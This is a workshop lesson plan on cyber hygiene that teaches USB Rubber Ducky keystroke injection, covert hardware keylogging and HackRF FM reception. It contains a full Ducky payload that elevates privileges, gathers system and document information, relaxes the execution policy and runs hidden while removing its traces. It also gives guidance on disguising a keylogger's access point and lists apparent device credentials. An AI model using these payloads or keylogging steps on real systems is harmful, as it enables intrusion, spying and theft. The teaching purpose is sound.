|  |  |
| --- | --- |
| **Cyber Hygiene** | |
| Institute of Technology | Session: Cyber Hygiene |
| **Learning Objectives** | **Summary** |
| * To understand the principles and importance of cyber hygiene. | The section will cover aspects of maintaining system health and improving understand of online security. This will include understanding keystroke injection attacks to execute payloads quickly into systems, attacking and monitoring keyboard inputs to observe keystrokes of a user and setting up and listening to transmissions send over a radio signal. Students would be required to have access to a computer system, internet connectivity, and access privilege to download and install applications during the session. |
| **Teaching Input & Session Overview** | |
| **Introduction:**   * Introduction to who we are, where we are from, why we are running these sessions. * Overview of the session to students   *(Time: 5 minutes)*  **Cyber Hygiene:**   * Introduction to Cyber Hygiene * Starter activity on Cyber Hygiene   (Time: 40 Minutes)  **Practicing** Keystroke **Injection Attack using USB Rubber Ducky**  Demonstration – equipment of the session   * About Keystroke Injection Attack * Writing your first payload * Executing your first payload * Additional payloads   (Time: 30 Minutes)  *(Break: 10 minutes)*  **AirDrive Forensic Keylogger Pro:**   * Setting up airdrive forensic keylogger * Monitoring the keylogger   (Time: 15 Minutes)  **Hack RF One:**   * Installing GNU Radio Companion * Coding FM radio * Listening to FM radio   (Time: 45 Minutes)  **End - Challenge**  (Time: 30 Minutes)  *Total Time: 2 hours 40 minutes*  **Cyber Hygiene**  What is Cyber Hygiene –  Cyber hygiene is the practice of using computer systems and other technological devices to maintain computer system health, keep data safe and well-protected, and improve online security. This could involve a routine to ensure identity safety – such as always using different passwords for accounts or just a general awareness of potential threats while using technology.  Having good cyber hygiene is important not only to maintain the health of your system to make sure it runs quickly and smoothly but also to protect it from nefarious means such as viruses, malware, and your personal privacy and data. Cyber hygiene is also important to the users to protect accounts from hackers and thieves from accessing your data, social media accounts, or other vital accounts such as banking.  Common Cyber Hygiene Problems –   * Loss of data/misplaced data, not making regular backups of hard drives, or not utilising cloud storage could result in information being lost if the drive was to ever crash. * Security breach, attacks from hackers through phishing, hacking, malware, spam, or viruses could cost loss of accounts or data. * Out of date software, having out of date software of firewalls means they are not able to tackle newer attacks and exploits that were never patched out. * Other users of the data, everyone needs to utilise the same secure practices else data can be breached by one of the weaker members.   Good Practices for Cyber Hygiene –   * Keep software up to date, keeping software up to date means it is always ready to deal with the latest threats and any exploits will have been patched. * Use secure passwords/password managers, not using common or easy to guess passwords means you’re less likely to be vulnerable to brute force attacks. Using password managers can allow for more complex passwords to be used. * Make regular backups of data, in the case of data being lost or corrupted it can always be recovered from a backup. * Update your software regularly - Update your apps n your cell phone or computers, web browsers, and operating systems regularly to ensure you are working with the latest programs. With time, software applications may have security patch or glitches that attackers can use to exploit your devices. With regular updates those vulnerable points can be eliminated. * Limit users’ access, people should only be granted the access level they need for their work to be done and not any levels above in case they were ever compromised. * Avoid accessing public Wi-Fi. Remember, whenever you connect your device to the Internet, you are at the mercy of the network owner. The person who owns the internet gateway can successfully filter your internet traffic and subsequently exploit your device through different forms of attacks such as ARP Poisoning attacks, DNS Spoofing attacks, SSL stripping attacks, etc. If you must use Public Wi-Fi.   **Remember any device could be at risk, be cautious** — treat all Wi-Fi links with suspicion.   * **Verify the wireless connection, do not just rely on names -** Some bogus links — that have been set up by malicious users — will have a connection name that’s deliberately similar to the coffee shop, hotel or venue that’s offering free W - i-Fi. * **Use a VPN (virtual private network)** - By using a VPN on Wi-Fi network, you’ll effectively be using a ‘private tunnel’ that encrypts all of your data that passes through the network. * **Avoid using specific types of websites** – When using public Wi-Fi, it’s a good idea to avoid logging into websites where cybercriminals could capture your identity, passwords or personal information — such as social networking sites, online banking services or any websites that store your credit card information. If you need to access any websites that store or require the input of any sensitive information — including social networking, online shopping, and online banking sites — it may be worthwhile accessing them via your mobile phone network, instead of the public Wi-Fi connection.   • Starter activity on Cyber Hygiene   1. [[1]](#footnote-1)Creating a strong Password: Activity 1 – 5 minutes   The key to your online security is to have strong passwords, but the challenge is to create distinct passwords that you can remember -- or else you may fall into the bad habit of using the same login credentials for multiple accounts.  Read about [World Password Day](https://www.fortinet.com/blog/industry-trends/ensuring-strong-cyber-hygiene-on-world-password-day) to learn about how do cybercriminals commonly compromise Passwords, and you can prevent your passwords from being compromised?  Q 1. Strong passwords can be difficult to remember. What can you do to avoid forgetting them?  Q2. When it’s time to change your password, what’s the best way to choose a new one?   1. [[2]](#footnote-2)Find and delete the scary amount of data Google has on you   Google collects a frightening amount of data about you. You can find and delete it now. Chances are, Google knows your name, your face, your birthday, gender, other email addresses you use, your password and phone number. Some of this is listed as public information (not your password, of course). Here's how to see what Google shares with the world about you.   1. Open a browser window and navigate to your Google Account page <http://myaccount.google.com/> 2. Type your Google username (with or without "@gmail.com"). 3. Choose Personal info from the menu bar and review the information. You can change or delete your photo, name, birthday, gender, password, other emails and phone number. 4. If you'd like to see what information of yours is available publicly, scroll to the bottom and select Go to About me. 5. To take a look at Google's record of your online activity, do the following: 6. Choose Data & Personalization from the navigation bar. 7. To see a list of all your activity that Google has logged, scroll to Activity controls and select Web & App Activity. This is where all your Google searches, YouTube viewing history, Google Assistant commands and other interactions with Google apps and services get recorded. 8. To turn it completely off, move the toggle to the off position. 9. If you want Google to stop tracking just your Chrome browser history and activity from sites you sign into with your Google account, uncheck the first box. 10. To set Google to automatically delete this kind of data either never or every three or 18 months, select Auto-delete and pick the time frame you feel most comfortable with. Select Delete or Confirm your auto delete settings. 11. Next, click Manage Activity. This page displays all the information Google has collected on you from the activities mentioned in the previous steps, arranged by date, all the way back to the day you created your account or the last time you purged this list. 12. To delete specific days, select the trash can icon to the right of the day then choose Got it. To get more specific details or to delete individual items, select the three stacked dots icon beside the item then choose either Delete or Details. 13. Check and confirm if your new settings took effects.   Another activity.  **Equipment of the Session**  During the session 3 pieces of equipment will be used:  **USB Rubber Ducky** – A keystroke injection device used to execute scripts once deployed to a computer that will fulfil keyboard commands programmed with Ducky Script.    **USB AirDrive Forensic Keylogger Pro** – A keylogger device used to monitor the inputs of a keyboard and send them over a WiFi signal to be monitored.  **Hack RF One** – Is a Software Defined Radio capable of transmitting or receiving radio signals.    **GNU Radio Companion** – A Graphical User Interface software used to program scripts for the Hack RF One.  **Activity - About Keystroke Injection Attack**  Hackers commonly use a keystroke injection attack to execute malicious commands via a USB drive connected to a host computer. A Keystroke Injection Attack has been an issue for computer users for a long time, and it is problematic due to the affordability and availability of keystroke injection tools. With the use of a specially designed USB device (the Rubber Ducky), often disguised as a thumb drive, that automatically runs code on any host computer into which it is plugged. In this activity, you will implement a simple form of USB keystroke injection The Rubber Ducky uses a simple coding language called Ducky Script language, that when inserted into a computer, acts as a programmable keyboard executing a payload script that has been programmed into the device.  Nothing is quite so memorable in a cybersecurity lesson than practice now; let's try something simple with a USB Rubber Ducky.  **USB Rubber Ducky**  As you are aware, the main way we communicate with a computer, to tell it what to do, is usually through a keyboard and mouse however, a computer by itself cannot distinguish who is actually using that keyboard. Regardless a computer will always trust the user and dutifully completes its task. Imagine for a moment that you are a penetration tester for a client and for brief a moment a user has left a computer unattended while they step out for a moment. Armed with only a USB drive you wish to copy as many files as possible onto to the flash drive, which could take minutes, minutes you don’t have.  **Hardware**  To utilise the USB Rubber Ducky, you will need the Ducky pack and a Miro SD Card reader and writer.  Contained within the pack will be the Ducky itself, a Mirco SD card, and a generic “flash drive” case to disguise the Ducky as a simple USB stick. These devices will be provided to you.    Programming the Rubber Ducky with Ducky Script can be done with any .txt file, using a software such as notepad.  A compiled version of the file can then be stored on a Micro SD card that is seated in the Rubber Ducky as shown below. When plugged into a USB port, the Ducky will execute the script.    Last of all, when the ducky is not in the case you should see a multi-colour LED that will flash green if the payload is executed properly or red if there is an error with the Micro SD (issues could include: the file not being encoded correctly, file named incorrectly, file not located on the root of the Micro SD, or if the SD card has been damaged/not seated in the ducky properly).  You can also choose to store the Ducky in the flash drive case for a stealthier approach as shown below. When in the case, you will not see the LED’s, so when testing your payload you likely will not want to use the case, in case there is an error.   Rubber Ducky Parts There are three main parts that come with the Rubber Ducky that you’ll be using to create, test and launch exploits.   1. *The mini “keyboard” adapter.  This a silicon chip with a CPU and a slot for inserting the microSD card – the card comes mounted inside the keyboard adapter when you order it.* 2. *The microSD card. This is a pretty standard piece of hardware. You’ll receive a fairly small 12MB microSD card, but it has more than enough space for running most payloads.* 3. *The microSD-to-USB adapter. This is the smaller plastic USB dongle that slides into a case. You’ll use this adapter to mount the microSD card on your machine as a normal USB storage device so that you can transfer your payload to it.*  ***Step 1****: Write your payload script*  ***Step 2:*** *Duck Encoder. After you successfully write your own Rubber Ducky payloads, you need to use* ***duck encoder****to convert your ducky script into a cross-platform inject.bin file that the keyboard adapter will use to deliver our keystroke payload.*  ***Step 3:*** *Insert the microSD card into your computer, you’ll find that it automatically runs the “Hello World” default payload.* Writing duckyScript The sduckyScript is a simple scripting language for automating keypresses. It was originally developed for USB Rubber Ducky. It can be programmed in any ASCII text editor such as notepad, gedit nano, vo, emacs etc.  Each command resides on a new line and may have the following options. Commands are written in ALL CAPS.   |  |  | | --- | --- | | Command | Description | | REM | Comment. – Lines beginning with REM is a comment - will not be processed and can be used for commenting and annotating lines of code. This is important to help others and you understand what each part of your code is designed to do. | | DEFAULTDELAY or DEFAULT\_DELAY | Time in ms between every command. Is used to define how long to wait in milliseconds to wait between each subsequent command. This is useful to allow the PC to process previous commands. | | DELAY | Delay in ms | | STRING | Types the following string. Processes the following text. A string could be anyone of the following characters. String will be useful for whenever you would type out a command to a computer.  STRING | a-z A-Z 0-9 !-), ‘~=\_-“’;:<,>.?[{}]/!@#$%^&\*() | | REPEAT or REPLAY | Repeats the last command n times | | LOCALE | Sets the keyboard layout. Available: DE, ES, GB, US, DK, RU, FR | | KEYCODE | Types a specific key code (modifier, key1[, ..., key6]) in decimal or hexadecimal | | LED | Changes the color of the LED in decimal RGB values (0-255) | | WINDOWS or GUI | Emulates the Windows-Key. This will be useful to as most functions on a PC can be performed from the Windows-Key. | | MENU or APP | Emulates the App Key (right click). Again, this will be useful to access certain functions. | | SHIFT | Can be used to navigate fields or select text. This will be useful when navigating file systems, to select specific files. | | ALT | Emulates the ALT key. Again, this will be useful to access certain functions. | | CONTROL or CTRL | Emulates the CTRL key. Again, this will be useful to access certain functions. |   **Example Script 1 – Printing Hello World!!!**  **---------------------------------------------------------**  **DELAY 3000**  **GUI r**  **DELAY 500**  **STRING notepad**  **DELAY 500**  **ENTER**  **DELAY 750**  **STRING Hello World!!!**  **ENTER**  **--------------------------------------------------------**  **Example Script 2 – Getting access to the command line**  **--------------------------------------------------------**  **REM** Description: Testing the Payload  **DEFAULTDELAY** 250  **REM** Wait for the system to get all set up  **DELAY** 750  **REM** Open the "Spotlight Search" and pull up the terminal/cli  **GU**I SPACE  **STRING** terminal  **ENTER**  **REM** Send a command to the machine through the terminal/cli  **STRING** say 'you have been hacked'  **ENTER**  **DELAY** 2000  **REM** Close the terminal window so there's no trace left behind  **GUI** q  ------------------------------------------------------------------------------------------- Reading through script 2, you’ll notice that this script pulls up the “terminal” program on the target system so that we get access to the command line. To begin coding the USB Rubber Ducky, start with a simply Hello World payload. This simple script, will open the windows key, open the notepad program and type the STRING Hello World! Into the text file.To begin coding writing your script complete the following tasks:  1. Open the Duck code encoder page <https://ducktoolkit.com/encode> 2. Type or copy the script 1 into the box and then press encode the payload as indicated in the Figure below      1. Download the inject.bin file. You will notice that you cannot open or read the Bin file, but the Rubber Ducky uses this file type to execute payloads. Although this is the easiest way to encode your files, there are other ways, such as for example via the command console by downloading the standard encoder at usbrubberducky.com. 2. Once you’ve downloaded the inject.bin file, copy it into the SD card via the Micro SD card reader. 3. Place the SD card into the Rubber Ducky and then insert it into a USB slot on a computer. If the script is executing correctly the light should flash green and the computer will open a new notepad and type Hello World.   Congratulations! You have just executed your first script.  Repeat the above steps to execute script 2 and 3.  **Example Script 3 – Getting access to the command line**  ---------------------------------------------------------------------------------------------  DELAY 750  GUI r  DELAY 1000  STRING powershell Start-Process notepad -Verb runAs  ENTER  DELAY 750  ALT y  DELAY 750  ENTER  ALT SPACE  DELAY 1000  STRING m  DELAY 1000  DOWNARROW  REPEAT 100  ENTER  STRING $folderDateTime = (get-date).ToString('d-M-y HHmmss')  ENTER  STRING $userDir = (Get-ChildItem env:\userprofile).value + '\Ducky Report ' + $folderDateTime  ENTER  STRING $fileSaveDir = New-Item ($userDir) -ItemType Directory  ENTER  STRING $date = get-date  ENTER  STRING $style = "<style> table td{padding-right: 10px;text-align: left;}#body {padding:50px;font-family: Helvetica; font-size: 12pt; border: 10px solid black;background-color:white;height:100%;overflow:auto;}#left{float:left; background-color:#C0C0C0;width:45%;height:260px;border: 4px solid black;padding:10px;margin:10px;overflow:scroll;}#right{background-color:#C0C0C0;float:right;width:45%;height:260px;border: 4px solid black;padding:10px;margin:10px;overflow:scroll;}#center{background-color:#C0C0C0;width:98%;height:300px;border: 4px solid black;padding:10px;overflow:scroll;margin:10px;} </style>"  ENTER  STRING $Report = ConvertTo-Html -Title 'Recon Report' -Head $style > $fileSaveDir'/ComputerInfo.html'  ENTER  STRING $Report = $Report + "<div id=body><h1>Duck Tool Kit Report</h1><hr size=2><br><h3> Generated on: $Date </h3><br>"  ENTER  STRING $SysBootTime = Get-WmiObject Win32\_OperatingSystem  ENTER  STRING $BootTime = $SysBootTime.ConvertToDateTime($SysBootTime.LastBootUpTime)| ConvertTo-Html datetime  ENTER  STRING $SysSerialNo = (Get-WmiObject -Class Win32\_OperatingSystem -ComputerName $env:COMPUTERNAME)  ENTER  STRING $SerialNo = $SysSerialNo.SerialNumber  ENTER  STRING $SysInfo = Get-WmiObject -class Win32\_ComputerSystem -namespace root/CIMV2 | Select Manufacturer,Model  ENTER  STRING $SysManufacturer = $SysInfo.Manufacturer  ENTER  STRING $SysModel = $SysInfo.Model  ENTER  STRING $OS = (Get-WmiObject Win32\_OperatingSystem -computername $env:COMPUTERNAME ).caption  ENTER  STRING $disk = Get-WmiObject Win32\_LogicalDisk -Filter "DeviceID='C:'"  ENTER  STRING $HD = [math]::truncate($disk.Size / 1GB)  ENTER  STRING $FreeSpace = [math]::truncate($disk.FreeSpace / 1GB)  ENTER  STRING $SysRam = Get-WmiObject -Class Win32\_OperatingSystem -computername $env:COMPUTERNAME | Select TotalVisibleMemorySize  ENTER  STRING $Ram = [Math]::Round($SysRam.TotalVisibleMemorySize/1024KB)  ENTER  STRING $SysCpu = Get-WmiObject Win32\_Processor | Select Name  ENTER  STRING $Cpu = $SysCpu.Name  ENTER  STRING $HardSerial = Get-WMIObject Win32\_BIOS -Computer $env:COMPUTERNAME | select SerialNumber  ENTER  STRING $HardSerialNo = $HardSerial.SerialNumber  ENTER  STRING $SysCdDrive = Get-WmiObject Win32\_CDROMDrive |select Name  ENTER  STRING $graphicsCard = gwmi win32\_VideoController |select Name  ENTER  STRING $graphics = $graphicsCard.Name  ENTER  STRING $SysCdDrive = Get-WmiObject Win32\_CDROMDrive |select -first 1  ENTER  STRING $DriveLetter = $CDDrive.Drive  ENTER  STRING $DriveName = $CDDrive.Caption  ENTER  STRING $Disk = $DriveLetter + '\' + $DriveName  ENTER  STRING $Firewall = New-Object -com HNetCfg.FwMgr  ENTER  STRING $FireProfile = $Firewall.LocalPolicy.CurrentProfile  ENTER  STRING $FireProfile = $FireProfile.FirewallEnabled  ENTER  STRING $Report = $Report + "<div id=left><h3>Computer Information</h3><br><table><tr><td>Operating System</td><td>$OS</td></tr><tr><td>OS Serial Number:</td><td>$SerialNo</td></tr><tr><td>Current User:</td><td>$env:USERNAME </td></tr><tr><td>System Uptime:</td><td>$BootTime</td></tr><tr><td>System Manufacturer:</td><td>$SysManufacturer</td></tr><tr><td>System Model:</td><td>$SysModel</td></tr><tr><td>Serial Number:</td><td>$HardSerialNo</td></tr><tr><td>Firewall is Active:</td><td>$FireProfile</td></tr></table></div><div id=right><h3>Hardware Information</h3><table><tr><td>Hardrive Size:</td><td>$HD GB</td></tr><tr><td>Hardrive Free Space:</td><td>$FreeSpace GB</td></tr><tr><td>System RAM:</td><td>$Ram GB</td></tr><tr><td>Processor:</td><td>$Cpu</td></tr><td>CD Drive:</td><td>$Disk</td></tr><tr><td>Graphics Card:</td><td>$graphics</td></tr></table></div>"  ENTER  STRING $Report = $Report + '<div id=center><h3>User Documents (doc,docx,pdf,rar)</h3>'  ENTER  STRING $Report = $Report + (Get-ChildItem -Path $userDir -Include \*.doc, \*.docx, \*.pdf, \*.zip, \*.rar -Recurse |convertto-html Directory, Name, LastAccessTime)  ENTER  STRING $Report = $Report + '</div>'  ENTER  STRING $Report >> $fileSaveDir'/ComputerInfo.html'  ENTER  STRING function copy-ToZip($fileSaveDir){  ENTER  STRING $srcdir = $fileSaveDir  ENTER  STRING $zipFile = '\Report.zip'  ENTER  STRING if(-not (test-path($zipFile))) {  ENTER  STRING set-content $zipFile ("PK" + [char]5 + [char]6 + ("$([char]0)" \* 18))  ENTER  STRING (dir $zipFile).IsReadOnly = $false}  ENTER  STRING $shellApplication = new-object -com shell.application  ENTER  STRING $zipPackage = $shellApplication.NameSpace($zipFile)  ENTER  STRING $files = Get-ChildItem -Path $srcdir  ENTER  STRING foreach($file in $files) {  ENTER  STRING $zipPackage.CopyHere($file.FullName)  ENTER  STRING while($zipPackage.Items().Item($file.name) -eq $null){  ENTER  STRING Start-sleep -seconds 1 }}}  ENTER  STRING copy-ToZip($fileSaveDir)  ENTER  STRING remove-item $fileSaveDir -recurse  ENTER  STRING Remove-Item $MyINvocation.InvocationName  ENTER  CTRL s  DELAY 750  STRING C:\Windows\config-87366.ps1  ENTER  DELAY 1000  ALT F4  DELAY 750  GUI r  DELAY 500  STRING powershell Start-Process cmd -Verb runAs  ENTER  DELAY 1000  ALT y  DELAY 750  STRING mode con:cols=14 lines=1  ENTER  ALT SPACE  DELAY 750  STRING m  DELAY 1000  DOWNARROW  REPEAT 100  ENTER  STRING powershell Set-ExecutionPolicy 'Unrestricted' -Scope CurrentUser -Confirm:$false  ENTER  DELAY 750  STRING powershell.exe -windowstyle hidden -File C:\Windows\config-87366.ps1  ENTER  -----------------------------------------------------------------------------------------  A scenario  If you allow an attacker access to your network, they may disable or modify your system firewalls to bypass controls limiting network usage and attacks. Changes or modifying your Firewall rules could be undermining the entire mechanism and adding, deleting, or modifying rules. A typical example is if an attacker has access to your server and plugin their USB, an attacker can succeed in this attack. Use the script in **Appendix 3** to accomplish this kind of attack to see.  If you have time, write, encode and execute the script in Appendix 1 and 2 to see examples of how you can perform **reverse shell scripting attack and download a** .exe file and executing the file on Windows computer. **Recording keystrokes attacks**  Keystroke logging, often referred to as keylogging or keyboard capturing, is a common computer-based social engineering attack of recording the keys struck while person using the keyboard is unaware that their actions are being monitored. Data such as user password, login or bank details can then be retrieved by the person operating the logging program. In these exercises, we will see how easy it is to record users’ keystrokes.  **Detecting and removing keyloggers**   * Remove the Keylogger on a computer before use * Use anti-keylogger software such as Ghostpress, KL-Detector, etc. * Consider virtual onscreen keyboards * Have a strong password policy * Change your passwords periodically   **AirDrive Forensic Keylogger Pro – USB**  The AirDrive Forensic Keylogger Pro is a type of keylogger – a way to monitor what strokes of a keyboard are pressed and relay them back to the user. Keyloggers are often used for nefarious means, like spying on a user to steal sensitive data such as their usernames and passwords by seeing the target type it themselves.  **Hardware**  The AirDrive Forensic Keyloagger pack contains just the Keylogger itself (shown below) which has a male and female USB port. A female port being the receiver side and the male side being the connector. The device acts as a WiFi access point you can connect to, with either a computer, smartphone or laptop etc. While connected you will receive a constant live stream of strokes the keyboard is typing. The device only works with external USB keyboards as the device has to be plugged in line between the keyboard and PC, hence it does not work with inbuilt keyboards like on laptops.    **Setup**  To begin using the Keylogger, unplug the keyboard of the desktop you wish to monitor. Plug the keyboard male USB port into the female USB port of the keylogger as shown below, then plug the male port of the keylogger back into the desktop computer. The port can be loose, so make sure the keyboard is still working and you can type.      To begin monitoring the strokes of the keyboard, connect to the air drive Wi-Fi network on another device from which you wish to monitor from.  **Step 1. Disconnect the USB keyboard from the USB port at the computer or hub. This can be done even with the computer up and running.**  **Step 2. Connect the hardware USB keylogger between the USB keyboard and the USB port. Keystroke logging will start automatically.** **Viewing recorded data** Once keystroke data has been recorded, it may be viewed or downloaded on any personal device equipped with Wi-Fi, such as smartphone, tablet, laptop or desktop computer.  Each device sets up a wireless network with a unique network identifier (SSID). Connect to this network with your smartphone, tablet, laptop or desktop computer.    Once connected, open a web-browser and type in 192.168.4.1. The device will respond with a webpage presenting the data log, settings, and configuration options.  **WRITE DOWN THE ORIGINAL NAME OF THE AIRDRIVE NETWORK SO YOU CAN RESET IT AT THE END TO BE REUSED.**  **Configuration**  Open the settings of the AirDrive. You will be presented with a menu similar to the one below.    Change the name of the access point from the default to be less conspicuous (**write down the old one so you can reset it at the end**).  Change the access point security so you can give the access point a password from an open network to a WPA2-PSK and give the device a password (**also make note of the password**).  Scroll down to the Key Logging section and set the keyboard layout to be English (UK) rather than US.  If need be, you can also reset the data log here with the delete log button.  Now after changing the settings, see if you can try accessing the keylogger on a different device such as your phone or other desktops so you can monitor what the user us typing.  **AT THE END - TO RESET THE KEYLOGGER, RENAME IT BACK TO THE ORIGINAL PORT NAME YOU WROTE DOWN EARLIER AND CHANGE THE ACCESS POINT SECURITY BACK TO AN OPEN NETWORK AND REMOVE THE PASSWORD.**  AIR\_080A7A  AirDrive12  **HackRF One**  The HackRF One is a wide band software defined radio that is able to receive and transmit a frequency range of 1MHz to 6GHz. To program the HackRF One, we use a software known as GNU radio companion which is a front-end graphical user interface that allows us to create python programs simply by using blocks to create flowcharts. For installation of GNU radio companion with windows see, the following section.  **Installing GNU Radio Companion**  Begin by downloading the zip file below for gnu radio components and extract the folder. I placed the extracted folder in the C:drive.  [gnuradio\_components.rar - Google Drive](https://drive.google.com/file/d/1E-fl3C55wpAZyqESjt1S5UyDY5Q_1sy2/view)  Installation Order:   1. vc\_redist.x86 – double click file and follow the installer. 2. python-2.7.15.amd64 – double click and follow the installer, probably should install for all users.   At this point we need to check our environment variables. In file browser, right click ‘This PC’. Properties. Advanced System Settings. Environment Variables. Under System Variables. Double click the ‘Path’ and check for the following two paths:    If they do not exist, simply create them manually by selecting new and typing the path as above, make sure to change the C:\ drive to the same drive you installed Python 27 in step 2.   1. Next, download get-pip.py from the webpage, under the section ‘installing with get-pip.py’, follow the link and place the file on the desktop: [Installation - pip documentation v21.0 (pypa.io)](https://pip.pypa.io/en/stable/installing/) 2. Open up the command prompt from the windows menu, check python is working by typing: python 3. Now change your current directory to desktop with: cd Desktop 4. Now type: python get-pip.py 5. After pip has installed, we can continue to install gnu components. Still in the command prompt, we want to change directory to the gnuradio\_components folder. Type cd .. to go back from the desktop directory and navigate to the gnuradio\_components folder by following the file path using the cd command. 6. To install the components type in the command prompt we will use: pip install filename   (best to copy and paste the exact file names) in the following order:   1. pip install lxml-3.5.0-cp27-cp27m-win\_amd64.Release.whl 2. pip install numpy-1.10.4-cp27-cp27m-win\_amd64.ReleaseDLL.whl 3. pip install PyQt4-4.11.4-cp27-cp27m-win\_amd64.whl 4. Our next install is done by doubling clicking: PyQwt-5.2.1.win-amd64.ReleaseDLL and following the wizard. 5. Return to the command prompt and install the following 3: 6. pip install Cheetah-2.4.4-cp27-cp27m-win\_amd64.ReleaseDLL.whl 7. pip install PyOpenGL-3.1.0-py2-none-any.whl 8. pip install pygtk-2.22.0-cp27-none-win\_amd64.whl 9. gtk2-runtime-2.24.10-2012-10-10-ash is installed by doubling clicking the file and doing a normal installation. 10. pip install wx-3.0-cp27-none-win\_amd64.ReleaseDLL.whl 11. wxPython-common-3.0.2.0.win-amd64.ReleaseDLL is installed by doubling clicking the file and doing a normal installation. 12. Double click uhd\_3.9.6-release\_x64\_VS2015. Again, probably should install for all users. 13. Now to download GNU Radio from the following link and execute the file to install. [www.gcndevelopment.com/gnuradio/downloads.htm](http://www.gcndevelopment.com/gnuradio/downloads.htm) 14. Finally, we need to check the environment variables again. In file browser, right click ‘This PC’. Properties. Advanced System Settings. Environment Variables. Under System Variables. There should be a variable known as:     If it does not exists create a new system variable, as shown above and select the path from where GNU Radio was installed.  With the variable created. Now click the PATH variable again and check for the following variables:    If not, create them.  Last of all, under system variables there should be the following path:    If it does not exist. Create the PATH.  You can now run GNU Radio Command Prompt, which should be in your windows search bar. The errors should not matter.  Make sure to save GNU radio files to a place such as desktop, rather than in the default bin.  **Hardware**  To begin, we will need the HackRF itself, the micro-USB to USB cable and the antenna.  Screw the antenna onto the screw labelled antenna and on the opposite end plug the micro-USB in and connect the USB port to your computer.  When the USB port is connected on the side the Hack RF should light up, indicating it is on, like so:  To check that the device is working, open a command prompt/terminal window. Type in the window ‘hackrf\_info’ as shown below:    This will let you know that the computer is seeing the HackRF board as well as give you some information such as the serial number of your board, what firmware version you are running etc. You will also see 4 LED lights on the side of the HackRF board next to the antenna which will be 3v3 = green, 1v8 = orange, RF = red and USB = green. This let’s us know that our board is running and we are good to begin coding.  **Visualising FM Radio**  To begin your first HackRF program, open GNU radio companion. You will be presented with mostly a blank page and these two blocks:    The options block gives us information about the program. The variable block is something that will come into play later. For now, you will notice that the options block is currently highlighted in red. A block being coloured red is GNU’s way of telling us that there is an error with our code, and it will not run – in this case the issue is our program doesn’t have an ID.  Double click the options block and you will be presented with this menu. Simply give the program an ID such as ‘Fmradio’ making sure to capitalise the first letter like so:    Now save the program to your file space or preferably the desktop.  Now to start programming we need to grab our first block. On the right-hand side there will be a large list of categories, near the bottom expand the OsmoSDR category and drag over an osmocom Source block. An osmocom source is an extraction block that allows us to communicate with different hardware devices for software radio. It being a ‘Source’ block means it is producing a signal in this case a ***digital*** signal (a stream of numbers) which will be indicated later on, when different signals come into play, by it being coloured blue.  For now, however, we need to grab our next block which is under instrumentation -> QT and we want a QT GUI Frequency Sink. Once again drag it over to the canvas. As a GUI block (graphical user interface) this allows us to visualise the frequency components from our signal.  We now need to connect these two together by dragging from the out of the osmocom source to the in of the QT frequency sink. Which will satisfy the error of our osmocom source as it now has somewhere to go. At this point our program should look similar to this:  Now we need to change our sample rate. This is where the variable block comes into play. A variable block allows us to have a value we can always reference, so if we ever need to change that value we only have to change it in one place. Under our variable block we need to change the same\_rate. 32k isn’t very many so we’ll change that to 10 million. To do this double click or right click properties of the variable and in the value box we can type 10 million which we can do easily by typing 10e6 to denote 10 with 6 zeroes (10x10 to the 6th power):    You will notice that now under our osmocom source block that the sample rate has also changed to be 10 million. If you double click on the osmocom source you will notice that under sample rate rather than there being a specific value it shows samp\_rate which is referring to the variable block with the ID samp\_rate.  While in the properties of our osmocom source block we also can change the Ch0: Frequency to 97.9e6 to be closer to the middle of the FM broadcast range. We also want to change the RF Gain to 0.  In our frequency Sink properties we want to turn averaging on to medium to make it easier to see radio stations individually in the graph.  At this point we have a functioning program that will visualise the FM radio signals in our area. Make sure to save the file.  We can now use the play button to execute and compile our program. To stop the program we should use the stop button to stop running the program safely so the HackRF is clean.  By running our program our current output should look like the diagram below. The major peaks we see are FM radio stations that our HackRF is seeing with the middle 0 being our 97.9 million frequency.  To make the 0 on the graph display 97.9 million, we could change the centre frequency of our frequency sink, but instead I’m going to create a new variable for whenever we need to refer to 97.9 million. To do this I can copy and paste our other samp\_rate variable, rename it to centre\_freq and give it a value of 97.9e6. Now under the frequency sink block, we can change the centre frequency to be the ID of our new variable, in this case centre\_freq like so:    We should also go back to our osmocom Source block and change the CH0: frequency to instead refer to centre\_freq, so whenever we want to change our centre\_freq we only need to change one variable rather than several, making it less likely for us to have an error in the future.  **Listening to FM Radio**  To begin listening to FM radio we might need to shift one of those large peaks we saw in the graph to the centre. We could do this by changing our centre\_freq, but to demonstrate, we can also do this through software instead of tuning the hardware.  To do this we begin with a new block from the math operators called multiply, this block performs a regular math multiplication. The next block we need is a singal source block from waveform generators, which rather than taking a signal from our HackRF like the osmocom source, we instead are making a synthesised signal from our CPU and we’re going to multiply these 2 signals together to shift the graph along.  Draw lines from both the osmocom source out and signal source out to the two ins of the multiply block and make a new variable called channel\_freq and set the value to be one of the peaks you see on your graph that you want to tune to. I have selected 96.0 million. Now for the frequency of the signal source block we are going to use centrer\_freq – channel\_freq like so:  Now copy and paste the frequency sink block we had ealier and send the out of the multiply into the in of the new frequency sink, but change the centre frequency of this new sink to be channel\_freq variable we created:    Now if we execute this script, we will have two graphs, with the bottom graph being our unshifted graph and the top being our new shifted graph.  To listen to FM radio, we’ll need to demodulate this digital signal and turn it into an audio signal. First, we need to filter this. Under filters drag a new low pass filter onto the canvas connecting the out from our multiply block to the in of the low pass filter.  Currently we’re picking up a lot more bandwidth than we need, as we’re picking up multiple radio stations and we want just want one. So create a new variable called channel\_width and set the value to be 200e3 or 200 kilohertz – the width of an fm radio station. Set the decimation of the low pass filter to be samp\_rate/channel\_width, the cutoff freq to be 75e3 and the transition width to be 25e3.  This will produce an error as this particular block only knows how to decimate an integer number (aka a whole number). We can restrict to only integer values by putting it into an int function like so: int(samp\_rate/channel\_width):    We’ve just changed the sample\_rate in our filter and we now need to do that again. So we want to connect our filter to a resampler, which can be found under resampler -> rational resample. Set the interpolation to be 12 and the decimation to be 5. This is because our low pass filter could only handle integer numbers and we need to change it back to be rational relation like so:    Now to add the demodulator. The demodulator is the block that actually turns the digital signal we’re receiving from our GNU radio to an audio signal we can listen to. With this we want the WBFM receive block which can be found under Modulators. Connect the rational resample out to the in of the WBFM receive (wide-band-fm). You may notice the in of the WBFM is blue like the other blocks, but the out of the WBFM receive is orange, signifying that this is accepting a digital signal and turning it to an audio signal. Set the quadrature rate to be 480e3 and the audio decimation to be 10 like so:    Next we want an Audio sink, which can be found under Audio, which we connect to our WBFM receive. We then want to change the sample rate to be 48 thousand or 48 KHz.    Our flow graph should now produce audio. Before running however, we only really need one of our graphs to be displayed at this point. We could delete the graph, but in case we want to see it again in the future we can instead just right click one of our frequency sinks and select disable, like 